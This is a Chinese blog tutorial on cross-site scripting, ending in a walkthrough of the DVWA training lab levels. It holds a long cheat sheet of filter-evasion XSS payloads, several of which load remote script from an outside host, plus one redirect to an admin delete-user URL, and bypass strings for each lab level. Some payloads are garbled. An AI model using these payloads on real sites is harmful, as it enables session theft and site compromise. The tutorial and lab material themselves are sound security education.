【网络安全】Xss漏洞

news2025/1/12 12:01:55

xss漏洞

    • xss漏洞介绍
    • 危害
    • 防御方法
    • xss测试语句
    • xss攻击语句
    • 1. 反射性xss
    • 2.存储型xss
    • 3.DOM型xss
    • dvwa靶场各等级渗透方法
        • xss反射型(存储型方法一致)
            • Low
            • Medium
            • Hight
            • impossible
        • Dom型
            • Low
            • Medium
            • Hight

xss漏洞介绍

定义:XSS 攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS,XSS 是一种在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到 web 网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生 xss 攻击。

危害

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击

防御方法

XSS 防御的总体思路是:对输入(和 URL 参数)进行过滤,对输出进行编码。

xss测试语句

检测网站xss漏洞时,输入一些前端标签查看网站源码是否过滤,如果没有过滤大概率会存在xss漏洞
在这里插入图片描述

输入<h1>1</h1>

在这里插入图片描述

常用的测试语句

<h5>1</h5>
<span>1</span>
<script>alert(1)</script>
javascript:alert(1)
<img src=1 onerror=alert(1)>
<script>console.log(1);</script>
闭合
"><span>x</span><"
'>"><span>x</span><'
单行注释
"><span>x</span>//

xss攻击语句

<script>alert(1)</script>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<a href='javascript:alert(1)'>aa</a>
(1)普通的 XSS JavaScript 注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG 标签 XSS 使用 JavaScript 命令
<IMG SRC=http://3w.org/XSS/xss.js/>
(3)IMG 标签无分号无引号
<IMG SRC=javascript:alert('XSS')>
(4)IMG 标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert('XSS')>
(5)HTML 编码(必须有分号)
<IMG SRC=javascript:alert("XSS")>
(6)修正缺陷 IMG 标签
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
(7)formCharCode 标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8 的 Unicode 编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
(11)嵌入式标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(12)嵌入式编码标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(13)嵌入式换行符
<IMG SRC="jav ascript:alert('XSS');">
(14)嵌入式回车
<IMG SRC="jav ascript:alert('XSS');">
(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子
<IMG SRC="javascript:alert('XSS')">
(16)解决限制字符(要求同页面)
<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><s
cript>z=z+'
src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.ne
t/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)<
/script>
(17)空字符 12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG
SRC=java\0script:alert(\"XSS\")>";' > out
(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
(19)Spaces 和 meta 前的 IMG 标签
<IMG SRC=" javascript:alert('XSS');">
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(23)双开括号
<<SCRIPT>alert("XSS");//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRChttp://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记 2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的 HTML/JavaScript XSS
<IMG SRC="javascript:alert('XSS')"
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
(29)换码过滤的 JavaScript
\";alert('XSS');//
(30)结束 Title 标签
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
(31)Input Image
<INPUT SRC="javascript:alert('XSS');">
(32)BODY Image
<BODY BACKGROUND="javascript:alert('XSS')">
(33)BODY 标签
<BODY('XSS')>
(34)IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
(35)IMG Lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
(36)BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
(37)STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
(38)远程样式表
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
(41)META 链接 url
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">
(42)Iframe
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz!
Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND="javascript:alert('XSS')">
(45)TD
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
(46)DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(47)DIV background-image 后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(48)DIV expression
<DIV STYLE="width: expression_r(alert('XSS'));">
(49)STYLE 属性分拆表达
<IMG STYLE="xss:expression_r(alert('XSS'))">
(50)匿名 STYLE(组成:开角号和一个字母开头)
<XSS STYLE="xss:expression_r(alert('XSS'))">
(51)STYLE background-image
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><ACLASS=XSS></A>
(52)IMG STYLE 方式
exppression(alert("XSS"))'>
(53)STYLE background
<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
(54)BASE
<BASE HREF="javascript:alert('XSS');//">
(55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS
<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
(56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
(57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上
<HTML xmlns:xss><?import namespace="xss"
implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>
(58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用
<SCRIPT SRC=""></SCRIPT>
(59)IMG 嵌入式命令,可执行任意命令
<IMG SRC="http://www.a.com/a.php?a=b">
(60)IMG 嵌入式命令(a.jpg 在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>
(62)<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>
(63)<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>
(64)<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>
(65)<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>"
SRC="http://3w.org/xss.js"></SCRIPT>
(67)<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>
(68)URL 绕行
<A HREF="http://127.0.0.1/">XSS</A>
(69)URL 编码
<A HREF="http://3w.org">XSS</A>
(70)IP 十进制
<A HREF="http://3232235521″>XSS</A>
(71)IP 十六进制
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP 八进制
<A HREF="http://0300.0250.0000.0001″>XSS</A>
(73)混合编码
<A HREF="http://6 6.000146.0×7.147/"">XSS</A>
(74)节省[http:]
<A HREF="//www.google.com/">XSS</A>
(75)节省[www]
<A HREF="http://google.com/">XSS</A>
(76)绝对点绝对 DNS
<A HREF="http://www.google.com./">XSS</A>
(77)javascript 链接
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

1. 反射性xss

特点: 反射性xss是非持久化的,需要欺骗用户去点击恶意链接才能触发xss代码。
通常攻击者会通过邮件或其他诱导方式,将含有xss的恶意代码发送给目标用户,当用户访问该链接时,浏览器解析带有xss代码的恶意脚本后,就会触发xss攻击

检测方法:
输入框中输入

<script>alert(/xss漏洞/)</script>

在这里插入图片描述

2.存储型xss

特点: 存储型xss是持久化,代码会存储到服务器的数据库中,当用户在个人信息或者其他输入文本等地方插入恶意代码。
当其他用户访问该页面,就会触发代码执行,造成xss攻击

检测方法:
输入内容

<script>alert(/xss漏洞/)</script>

在这里插入图片描述
再次查看数据库中是否保存此信息
在这里插入图片描述

3.DOM型xss

特点: DOM型xss是一种特殊的反射性xss,主要是通过利用输入内容使前端代码进行执行的方式达成xss攻击

检测方法
输入内容:

javascript:alert("xss漏洞")

在这里插入图片描述
代码分析
在这里插入图片描述
当我们在前端页面输入js代码时,页面将会执行,从而造成xss攻击
在这里插入图片描述

dvwa靶场各等级渗透方法

xss反射型(存储型方法一致)

Low
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

方法:

<script>alert(1)</script>
Medium
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );  ##将<script>替换为空

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

方法:

<scri<script>pt>alert(1)</script>  #双写绕过
<Script>alert(1)</script>  # 大小写绕过
等方法
Hight

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); #过滤掉了单个字符

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

方法:

<img src=1 onerror=alert(1)>  #不使用script标签达到绕过效果
impossible

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

使用htmlspecialchars方法建立实体,安全代码

Dom型

Low

<?php

# Don't need to do anything, protction handled on the client side

?>

方法

?default=<script>alert(1)</script>   #修改url内容
Medium

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

在这里插入图片描述

方法

?default=</select><img src=1 onerror=alert(1)>  #闭合上个select标签  然后代码过滤了script使用img进行绕过
Hight

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":   #只能存在这四个选项中的其中一项才能执行
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

方法:

?default=French#<script>alert(1)</script>    #使用定位符进行绕过

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/436161.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Twitter|GraphJet:推特的实时内容推荐(论文+源码解读)

以下内容具有主观性&#xff0c;有些问题的理解和回答不一定准确&#xff0c;仅供参考。翻译不确定的后面都有原文。 1.论文 1.1论文的动机是什么&#xff1f; 作者在追溯基于图推荐的系统的进化过程&#xff0c;发现了两大趋势&#xff08;更快更广&#xff09;。 趋势一是…

MySQL ,MyBatis 1.参数占位符 2. ParameterType 3. SQL 语句中特殊字符处理

1.参数占位符&#xff1a; 1&#xff09;#{}&#xff1a;执行sql时&#xff0c;会将#仔占位符替换为&#xff1f;&#xff0c;将来自动设置参数值 2&#xff09;${}&#xff1a;拼SQL。会存在SQL注入问题 3.使用时机&#xff1a; * 参数传递&#xff0c;都使用#{} *如果要对表名…

Elasticsearch:保留字段名称

作为 Elasticsearch 用户&#xff0c;我们从许多不同的位置收集数据。 我们使用 Logstash、Beats 和其他工具来抓取数据并将它们发送到 Elasticsearch。 有时&#xff0c;我们无法控制数据本身&#xff0c;我们需要管理数据的结构&#xff0c;甚至需要在摄取数据时处理字段名称…

腾讯云轻量服务器测评:4核8G12M带宽流量CPU限制说明

腾讯云轻量4核8G12M服务器446元一年&#xff0c;之前是4核8G10M配置&#xff0c;现在公网带宽和月流量包整体升级&#xff0c;系统盘为180GB SSD盘&#xff0c;每月2000GB免费流量&#xff0c;如果是选择买赠专区的4核8G12M配置是518元15个月&#xff0c;腾讯云百科来详细说下4…

MyBatis插入时获取自增id

关于MyBatis在插入时获取自增id 1.1 注释方法 Insert("insert into book(bid, bname, price, number, cratedate) values(null,#{bname},#{price},#{number},#{cratedate}) ")int add(Book book); //注意&#xff1a;在mapper中是不能重载的这里我特意写为add01Ins…

【力扣-JZ22】链表中倒数第k个结点

&#x1f58a;作者 : Djx_hmbb &#x1f4d8;专栏 : 数据结构 &#x1f606;今日分享 : "把手插进米堆的原因 " : 因为米堆类似于高密度的流体&#xff0c;会给人的手带来较大的压强&#xff0c;这种压强促进静脉血回流&#xff0c;会让人感到生理上的舒服。 文章目…

临床决策曲线分析如何影响预测模型的使用和评价

目前&#xff0c;临床决策曲线分析&#xff08;clinical decision curve analysis, DCA&#xff09;在业界已经被超过1500文献使用&#xff0c;也被多个主流的临床杂志所推荐&#xff0c;更被写进了临床预测模型撰写标准&#xff08;TRIPOD&#xff09;中&#xff0c;但是许多预…

OpenCV实例(七)汽车检测

OpenCV实例&#xff08;七&#xff09;汽车检测 1.概述2.代码实例3.代码功能 作者&#xff1a;Xiou 1.概述 对于图像和视频检测中的目标类型并没有具体限制&#xff0c;但是&#xff0c;为了使结果的准确度在可接受范围内&#xff0c;需要一个足够大的数据集&#xff0c;包括…

mongodb数据库索引介绍与优化选择

数据库开发系列 文章目录 数据库开发系列前言一、基础篇二、提高篇总结 前言 一、基础篇 MongoDB 索引 索引通常能够极大的提高查询的效率&#xff0c;如果没有索引&#xff0c;MongoDB在读取数据时必须扫描集合中的每个文件并选取那些符合查询条件的记录。 这种扫描全集合的查…

broadcast自动扩展/合并与分割/基本运算

文章目录 一、broadcastKey ideamatch from last dim 二、合并catstack 三、拆分split&#xff1a; 四、基本运算matmulAn examplematmulpowerexp logapproximationclamp 五、统计属性总结 一、broadcast Key idea ▪ Insert 1 dim ahead ▪ Expand dims with size 1 to same…

测试概念篇

目录 调试和测试的区别软件测试的概念软件测试和软件开发的区别优秀的测试人员应该具什么素质为什么要做测试软件的生命周期什么是Bug什么是需求测试用例是什么产品的生命周期软件测试贯穿于软件的整个生命&#xff0c;如如何贯穿&#xff1f;开发模型瀑布模型&#xff08;面向…

【java】反射基础

Class类 import java.io.*; import java.util.Scanner;public class Main {public static void main(String[] args) throws ClassNotFoundException {Class<String> clazz String.class; //使用class关键字&#xff0c;通过类名获取Class<?> clazz2 Class.f…

SpringBoot源码学习系列——运行流程分析

前文SpringBoot源码学习系列——构造流程分析对SpringApplication的实例化流程进行了介绍&#xff0c;完成了基本配置文件的加载及初始化&#xff0c;本文对其run方法进行介绍&#xff0c;看看Spring Boot是如何启动运行的。 run方法核心流程 可以看到&#xff0c;SpringAppli…

主机串口—虚拟机串口—linux系统串口之间的关系(实现主机和虚拟机之间的串口通信)

目录 1、准备工具 2、实现机理 3、实现过程 4、虚拟机串口 —— Linux系统串口文件 1、准备工具 VSPD&#xff1a;作用是在主机上创建虚拟串口 VSPD 下载&#xff1a;VSDP 汉化版下载VSPD 配置教程&#xff1a;VSPD虚拟串口工具实用工具–小白入门篇 | 码农家园 串口调…

MES功能设计规格书

软件功能结构 项目实施方案 概述 按总体规划&#xff0c;MES项目分三个阶段实施&#xff0c;第一阶段先在终端电器制造部和控制电器制造部进行试点实施。 第一阶段目标 建立基本的MES系统框架&#xff0c;提供工厂建模等基础功能。将目前的Excel生产排程纳入到系统管理&…

wps宏编辑器API关于msgbox和inputbox的使用说明

WPS宏编辑器API参考关于函数列举了3个&#xff1a;DoEvents、InputBox和MsgBox&#xff0c;其中DoEvents有点不好理解&#xff0c;应该在什么场景下使用也缺乏官网指导说明&#xff0c;因此本文重点讲述InputBox和MsgBox的使用说明。 1、DoEvents 处理进程的消息队列中的消息…

AI菜鸡浅谈ChatGpt

最近最火的话题可能就是Chatgpt &#xff0c;这个对话机器人横空出世&#xff0c;大大突破了人类之前对AI 对话机器人的认知和预期&#xff0c;上次这样的颠覆认知的突破还是7年前的阿法狗&#xff0c;但是这一次Chatgpt 带来的革命可能要更深远。我从以下几个方面来谈一下我对…

Centos7.6集群部署海豚调度3.1.5

目录 前置准备工作&#xff08;所有机器&#xff09;主机规划数据库规划用户规划目录规划配置/etc/hostsjdk安装进程树分析配置ssh免密部署zookeeper启动zookeeper下载DolphinScheduler 二进制包修改install_env.sh配置修改dolphinscheduler_env.sh配置文件 安装&#xff08;ty…

virtualbox 安装centos

在virtualbox安装centos时&#xff0c;遇到了一些问题&#xff0c;此处记录下&#xff0c;希望可以帮助一些小伙伴。 一、下载centos 进入官网下载地址&#xff1a;Download (centos.org) 然后选择阿里云镜像地址&#xff1a;centos-7.9.2009-isos-x86_64安装包下载_开源镜像…

TensorFlow版本与其他库的版本之间问题

使用TensorFlow的版本不一样&#xff0c;对应的库的版本也需不一样&#xff0c;这个有许多需要注意的地方。 比如Keras库&#xff0c; 当我使用tensorflow2.1.0版本时&#xff0c;安装Keras2.10.0这个库会导致运行报错&#xff0c; 那么就需要降低其版本到与之匹配&#xff…